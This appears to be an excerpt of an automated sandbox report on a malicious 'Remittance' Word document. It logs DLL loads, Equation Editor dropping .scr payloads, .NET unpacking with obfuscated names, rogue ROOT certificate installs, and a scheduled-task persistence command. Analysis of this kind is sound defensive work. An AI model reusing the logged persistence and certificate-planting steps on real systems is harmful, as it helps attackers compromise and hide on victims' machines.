Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: wow64win.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: wow64cpu.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: bcrypt.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: wbemcomn2.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rpcrtremote.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: ntdsapi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: credssp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\InProcServer32

Jump to behavior

Source: Remittance 17042024.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\Remittance 17042024.doc

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Data Obfuscation

.NET source code contains potential unpacker

Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	.Net Code: HokWmiwN44 System.Reflection.Assembly.Load(byte[])
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	.Net Code: HokWmiwN44 System.Reflection.Assembly.Load(byte[])
Source: 5.2.dzoihohj75439.scr.600000.0.raw.unpack, LoginForm.cs	.Net Code: System.Reflection.Assembly.Load(byte[])

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_006501F4 push eax; retf	2_2_006501F5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0065C2DC pushad ; retn 0065h	2_2_0065C2DD
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Code function: 5_2_009F7330 pushfd ; iretd	5_2_009F7339
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002F150A push FFFFFF83h; iretd	15_2_002F1524
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002F793B push es; iretd	15_2_002F7955
Source: C:\Users\user\AppData\Roaming\egFUHsL.exe	Code function: 15_2_002F3AB8 push esp; retn 0026h	15_2_002F3AB9

Source: JBNvj66BwYU3yCv[1].scr.2.dr	Static PE information: section name: .text entropy: 7.926722076742294
Source: dzoihohj75439.scr.2.dr	Static PE information: section name: .text entropy: 7.926722076742294
Source: egFUHsL.exe.5.dr	Static PE information: section name: .text entropy: 7.926722076742294

Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, b8tmsF9xU9Z1v5o74w.cs	High entropy of concatenated method names: 't51gTlpbvA', 'wNDgQvlokI', 'mQBgslQ3EX', 'y00g7mEw2Q', 'uoegYYO9jv', 'x2pgfoOulS', 'B60g09Do4c', 'XxHgNwDfBQ', 'ADZgwTD5cQ', 'E4egheDTar'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, R2aTrjUZSGhApXVB6N.cs	High entropy of concatenated method names: 'HCVyNxV15o', 'gUlyhC3DoQ', 'Qv4KjhJxf9', 'jK8KboWTjG', 's2ZyBx7ae1', 'pWDy4Judbr', 'Oylya4hfpq', 'FpYyTOFEPq', 'e0hyQX1g0n', 'itLysxS17u'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, SE8ei8323SpOWjlTO6.cs	High entropy of concatenated method names: 'griJb8qMTq', 'HP2J1Ml9yA', 'J9LJWiIP6u', 'H35JuQQG79', 'UglJgHpjsE', 'J8bJ9MeiSO', 'vU4JxLEh6A', 'xXHK0yQos8', 'AwYKNnDI8W', 'KPJKwQnDGd'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, Xyspjtd27UNPsTmZCs.cs	High entropy of concatenated method names: 'govbPmxQfM', 'unGbVhsaaF', 'nYgblQem76', 'p7UbZYq56j', 'tJFbpq2T5B', 'blAbqv6tbv', 'cYPlwWdWbX3J1g9SDV', 'EsEklB3a012Q0WeaHe', 'S7QbbMDLhd', 'MAob1A12rp'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, c9sjD5bjIqyP5D3sx6.cs	High entropy of concatenated method names: 'GpCH5Mr5Lv', 'wiCHOHh4xc', 'W7eHcESXtE', 'agGH8hL6j5', 'BHFHprC8Ki', 'SW2HqHyMEo', 'JIFHyqnTK7', 'Ke0HKnYm1f', 'qeYHJItfW4', 'k3QH6pI1kv'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, W0JwQqCGXX23lSQM8d.cs	High entropy of concatenated method names: 'eIY9CpqaPR', 'dUD9d2N4CB', 'S0WHXUwhTL', 'RReH3HKH5v', 'SCqHkJeJsY', 'jSIHGDKoNQ', 'w3RHelIWeM', 'c9gHioBhdY', 'QPTHMqv3MA', 'vXaHEYgebU'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, RpNwKIh1quupYTAWJq.cs	High entropy of concatenated method names: 'nZPKoHaA9y', 'Ex2KrG7fIx', 'O7BKX6EngB', 'EaiK3FQi3J', 'fITKTEhHdC', 't4CKk2yw8i', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, o3AqPRMLTG9jt0XNEUA.cs	High entropy of concatenated method names: 'QLvJSpAVxO', 'h4iJ27jIlQ', 'vcPJm6QaBc', 'HKbJ58j9aW', 'WGlJCGol8v', 'fB9JOPPc8L', 'yJuJdBRQbw', 'Ax8JcScZhq', 'e9gJ8GcL1c', 'HrYJAXhSq6'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, Q8VsNLPepUDd5G6cwB.cs	High entropy of concatenated method names: 'TCRPuUS3Uk', 'B9sPHi9Z5P', 'z8OPxyKheo', 'krMxhE1pRs', 'Xraxzidn5A', 'FpiPjUPTxI', 'kk6Pbk4I63', 'UuhPvaWKDX', 'RIBP1gnQFJ', 'yprPWRb1C4'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, SD50yhgTTo4BDKVIvI.cs	High entropy of concatenated method names: 'co1tc9Wiwu', 'WpEt8v2AMt', 'tn6to7e6Le', 'Y27trC2vxw', 'j3Ft3113FK', 'mQxtkANDQw', 'rmFtexXXZa', 'n8jtiqK2Z5', 'nEhtEbX0nm', 'Qd0tBwui1T'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, Sb59cPIvBCJELE9Lt1.cs	High entropy of concatenated method names: 'nxfxFcS8WI', 'zbHxguTHpW', 'HEox9O6l54', 'XcixPxRuHM', 'As3xVtqqgK', 'zvJ9YSvLbl', 'eY99fap2pd', 'bW190Anmod', 'HBN9NdMOoo', 'EW49wpREis'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, jBgHpTxfiBFwai9cLd.cs	High entropy of concatenated method names: 'TqSpECwCe4', 'nDjp4sp18w', 'JjdpTEZH4V', 'cBppQYMUYc', 'bAXprpv8SQ', 'lhppXL8NtU', 'JSmp3elkYd', 'umVpk4uBxo', 'Jr9pGCkx42', 'B5jpepd2Ki'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, IphJi82PHmFmnIX9f9.cs	High entropy of concatenated method names: 'O4ryle8PmR', 'Ks4yZIdRJc', 'ToString', 'GPyyu9MAIb', 'aj1ygfdhuK', 'i0hyHMDTdF', 'Qpky9CxTO7', 'DBZyxNH7ue', 'wo0yPEMlux', 'zhpyVPIFv8'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, vtC8w5RPTmxUvrRvBU.cs	High entropy of concatenated method names: 'ToString', 'orOqBRHpUm', 'xxKqravW1t', 'zR9qXO73NZ', 'BcAq3vHdNp', 'A7EqkxsW0e', 'cj7qGYUJhF', 'EUSqeSuFoL', 'z5VqiNPWri', 'npLqMsGc6h'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, dbQQPlY74ymdeL3mPO.cs	High entropy of concatenated method names: 'zU0m3eZ48', 'cts5Ldi6a', 'tv2OfCwa4', 'OyrdZHiLY', 'eMl8IxwIX', 'om8AgTU0h', 'cpOYPTGU6hhBd4bSmi', 'qtKqE47XkHjBOEswC9', 'zdsKhYCaC', 'Gtb6XfsDa'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, whQdg8zbGa9CLqYN2J.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PADJtj6op4', 'qw7JpNwFyx', 'rKuJqQg3oT', 'cgYJyua4N4', 'jRyJKbeGj2', 'L1QJJlfsms', 'SS2J6lfjcZ'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	High entropy of concatenated method names: 'wOD1Fd6540', 'fEC1unxdYA', 'V7B1gtUmVq', 'xFQ1HG0Akt', 'PCM19aoONm', 'eWx1xt0gIp', 'eFh1PIo5TV', 'IPe1VXceXX', 'OuM1DYNQTs', 'Ku31lJbuR8'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, IpnFxe0jUJqbrvbLc7.cs	High entropy of concatenated method names: 'VpdjiaRjhN4cfhdsMvE', 'xaxy06R04c2gD9C1Zou', 'z1txK6ihTl', 'okrxJrZuqB', 'eXPx6W4CD0', 'ztdWP5ROOafWGoqQsoq', 'KTslAgRk273y3sGpv0D'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, vecnntKZmWmrT6UEmG.cs	High entropy of concatenated method names: 'Dispose', 'WYbbwYL4Iy', 'YCDvrUlXxs', 'l7KUUHHmSg', 'VmDbhwGtgm', 'usEbzSeCdF', 'ProcessDialogKey', 'EBbvjuwTrh', 'lyOvbSvdRX', 'T06vvd8Z93'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, FukiUSA0vcIEgBScU2.cs	High entropy of concatenated method names: 'zOKPSVo6V5', 'UoQP2RiNlx', 'TQCPm08G2H', 's4KP5PKASV', 'BnRPCuSVna', 'mpyPOrVwvS', 'GfJPdL7r9B', 'fJsPcGIWVi', 'U0TP8vQ9Td', 'RAkPApVJgL'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, KnkMnHMuuAR5gypCln4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PDM6TUIlyd', 'HDU6Q7YSvM', 'nZ16sxMaIh', 'jq567btrEh', 'v2c6YLmsH9', 'D8D6fIwphK', 'UVI60wXPxh'
Source: 5.2.dzoihohj75439.scr.50b0000.9.raw.unpack, ohPx6xFEdxkA3fYdLs.cs	High entropy of concatenated method names: 'YvRKu1J0uV', 'QKLKg1803I', 'hk0KH84WOP', 'G4hK9corYV', 'EH8KxyLPRY', 'SrjKPUJw9E', 'J2gKVM4SlN', 'lLAKDhalkm', 'be2KlMDXtp', 'lwEKZ8uG6Q'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, b8tmsF9xU9Z1v5o74w.cs	High entropy of concatenated method names: 't51gTlpbvA', 'wNDgQvlokI', 'mQBgslQ3EX', 'y00g7mEw2Q', 'uoegYYO9jv', 'x2pgfoOulS', 'B60g09Do4c', 'XxHgNwDfBQ', 'ADZgwTD5cQ', 'E4egheDTar'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, R2aTrjUZSGhApXVB6N.cs	High entropy of concatenated method names: 'HCVyNxV15o', 'gUlyhC3DoQ', 'Qv4KjhJxf9', 'jK8KboWTjG', 's2ZyBx7ae1', 'pWDy4Judbr', 'Oylya4hfpq', 'FpYyTOFEPq', 'e0hyQX1g0n', 'itLysxS17u'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, SE8ei8323SpOWjlTO6.cs	High entropy of concatenated method names: 'griJb8qMTq', 'HP2J1Ml9yA', 'J9LJWiIP6u', 'H35JuQQG79', 'UglJgHpjsE', 'J8bJ9MeiSO', 'vU4JxLEh6A', 'xXHK0yQos8', 'AwYKNnDI8W', 'KPJKwQnDGd'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, Xyspjtd27UNPsTmZCs.cs	High entropy of concatenated method names: 'govbPmxQfM', 'unGbVhsaaF', 'nYgblQem76', 'p7UbZYq56j', 'tJFbpq2T5B', 'blAbqv6tbv', 'cYPlwWdWbX3J1g9SDV', 'EsEklB3a012Q0WeaHe', 'S7QbbMDLhd', 'MAob1A12rp'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, c9sjD5bjIqyP5D3sx6.cs	High entropy of concatenated method names: 'GpCH5Mr5Lv', 'wiCHOHh4xc', 'W7eHcESXtE', 'agGH8hL6j5', 'BHFHprC8Ki', 'SW2HqHyMEo', 'JIFHyqnTK7', 'Ke0HKnYm1f', 'qeYHJItfW4', 'k3QH6pI1kv'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, W0JwQqCGXX23lSQM8d.cs	High entropy of concatenated method names: 'eIY9CpqaPR', 'dUD9d2N4CB', 'S0WHXUwhTL', 'RReH3HKH5v', 'SCqHkJeJsY', 'jSIHGDKoNQ', 'w3RHelIWeM', 'c9gHioBhdY', 'QPTHMqv3MA', 'vXaHEYgebU'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, RpNwKIh1quupYTAWJq.cs	High entropy of concatenated method names: 'nZPKoHaA9y', 'Ex2KrG7fIx', 'O7BKX6EngB', 'EaiK3FQi3J', 'fITKTEhHdC', 't4CKk2yw8i', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, o3AqPRMLTG9jt0XNEUA.cs	High entropy of concatenated method names: 'QLvJSpAVxO', 'h4iJ27jIlQ', 'vcPJm6QaBc', 'HKbJ58j9aW', 'WGlJCGol8v', 'fB9JOPPc8L', 'yJuJdBRQbw', 'Ax8JcScZhq', 'e9gJ8GcL1c', 'HrYJAXhSq6'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, Q8VsNLPepUDd5G6cwB.cs	High entropy of concatenated method names: 'TCRPuUS3Uk', 'B9sPHi9Z5P', 'z8OPxyKheo', 'krMxhE1pRs', 'Xraxzidn5A', 'FpiPjUPTxI', 'kk6Pbk4I63', 'UuhPvaWKDX', 'RIBP1gnQFJ', 'yprPWRb1C4'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, SD50yhgTTo4BDKVIvI.cs	High entropy of concatenated method names: 'co1tc9Wiwu', 'WpEt8v2AMt', 'tn6to7e6Le', 'Y27trC2vxw', 'j3Ft3113FK', 'mQxtkANDQw', 'rmFtexXXZa', 'n8jtiqK2Z5', 'nEhtEbX0nm', 'Qd0tBwui1T'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, Sb59cPIvBCJELE9Lt1.cs	High entropy of concatenated method names: 'nxfxFcS8WI', 'zbHxguTHpW', 'HEox9O6l54', 'XcixPxRuHM', 'As3xVtqqgK', 'zvJ9YSvLbl', 'eY99fap2pd', 'bW190Anmod', 'HBN9NdMOoo', 'EW49wpREis'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, jBgHpTxfiBFwai9cLd.cs	High entropy of concatenated method names: 'TqSpECwCe4', 'nDjp4sp18w', 'JjdpTEZH4V', 'cBppQYMUYc', 'bAXprpv8SQ', 'lhppXL8NtU', 'JSmp3elkYd', 'umVpk4uBxo', 'Jr9pGCkx42', 'B5jpepd2Ki'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, IphJi82PHmFmnIX9f9.cs	High entropy of concatenated method names: 'O4ryle8PmR', 'Ks4yZIdRJc', 'ToString', 'GPyyu9MAIb', 'aj1ygfdhuK', 'i0hyHMDTdF', 'Qpky9CxTO7', 'DBZyxNH7ue', 'wo0yPEMlux', 'zhpyVPIFv8'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, vtC8w5RPTmxUvrRvBU.cs	High entropy of concatenated method names: 'ToString', 'orOqBRHpUm', 'xxKqravW1t', 'zR9qXO73NZ', 'BcAq3vHdNp', 'A7EqkxsW0e', 'cj7qGYUJhF', 'EUSqeSuFoL', 'z5VqiNPWri', 'npLqMsGc6h'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, dbQQPlY74ymdeL3mPO.cs	High entropy of concatenated method names: 'zU0m3eZ48', 'cts5Ldi6a', 'tv2OfCwa4', 'OyrdZHiLY', 'eMl8IxwIX', 'om8AgTU0h', 'cpOYPTGU6hhBd4bSmi', 'qtKqE47XkHjBOEswC9', 'zdsKhYCaC', 'Gtb6XfsDa'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, whQdg8zbGa9CLqYN2J.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PADJtj6op4', 'qw7JpNwFyx', 'rKuJqQg3oT', 'cgYJyua4N4', 'jRyJKbeGj2', 'L1QJJlfsms', 'SS2J6lfjcZ'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, EjX9gQSXWavgOAKiaJ.cs	High entropy of concatenated method names: 'wOD1Fd6540', 'fEC1unxdYA', 'V7B1gtUmVq', 'xFQ1HG0Akt', 'PCM19aoONm', 'eWx1xt0gIp', 'eFh1PIo5TV', 'IPe1VXceXX', 'OuM1DYNQTs', 'Ku31lJbuR8'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, IpnFxe0jUJqbrvbLc7.cs	High entropy of concatenated method names: 'VpdjiaRjhN4cfhdsMvE', 'xaxy06R04c2gD9C1Zou', 'z1txK6ihTl', 'okrxJrZuqB', 'eXPx6W4CD0', 'ztdWP5ROOafWGoqQsoq', 'KTslAgRk273y3sGpv0D'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, vecnntKZmWmrT6UEmG.cs	High entropy of concatenated method names: 'Dispose', 'WYbbwYL4Iy', 'YCDvrUlXxs', 'l7KUUHHmSg', 'VmDbhwGtgm', 'usEbzSeCdF', 'ProcessDialogKey', 'EBbvjuwTrh', 'lyOvbSvdRX', 'T06vvd8Z93'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, FukiUSA0vcIEgBScU2.cs	High entropy of concatenated method names: 'zOKPSVo6V5', 'UoQP2RiNlx', 'TQCPm08G2H', 's4KP5PKASV', 'BnRPCuSVna', 'mpyPOrVwvS', 'GfJPdL7r9B', 'fJsPcGIWVi', 'U0TP8vQ9Td', 'RAkPApVJgL'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, KnkMnHMuuAR5gypCln4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'PDM6TUIlyd', 'HDU6Q7YSvM', 'nZ16sxMaIh', 'jq567btrEh', 'v2c6YLmsH9', 'D8D6fIwphK', 'UVI60wXPxh'
Source: 5.2.dzoihohj75439.scr.354b6b0.5.raw.unpack, ohPx6xFEdxkA3fYdLs.cs	High entropy of concatenated method names: 'YvRKu1J0uV', 'QKLKg1803I', 'hk0KH84WOP', 'G4hK9corYV', 'EH8KxyLPRY', 'SrjKPUJw9E', 'J2gKVM4SlN', 'lLAKDhalkm', 'be2KlMDXtp', 'lwEKZ8uG6Q'

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr			Jump to dropped file

Installs new ROOT certificates

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\JBNvj66BwYU3yCv[1].scr	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr	File created: C:\Users\user\AppData\Roaming\egFUHsL.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Roaming\dzoihohj75439.scr

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\egFUHsL" /XML "C:\Users\user\AppData\Local\Temp\tmp871B.tmp"

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
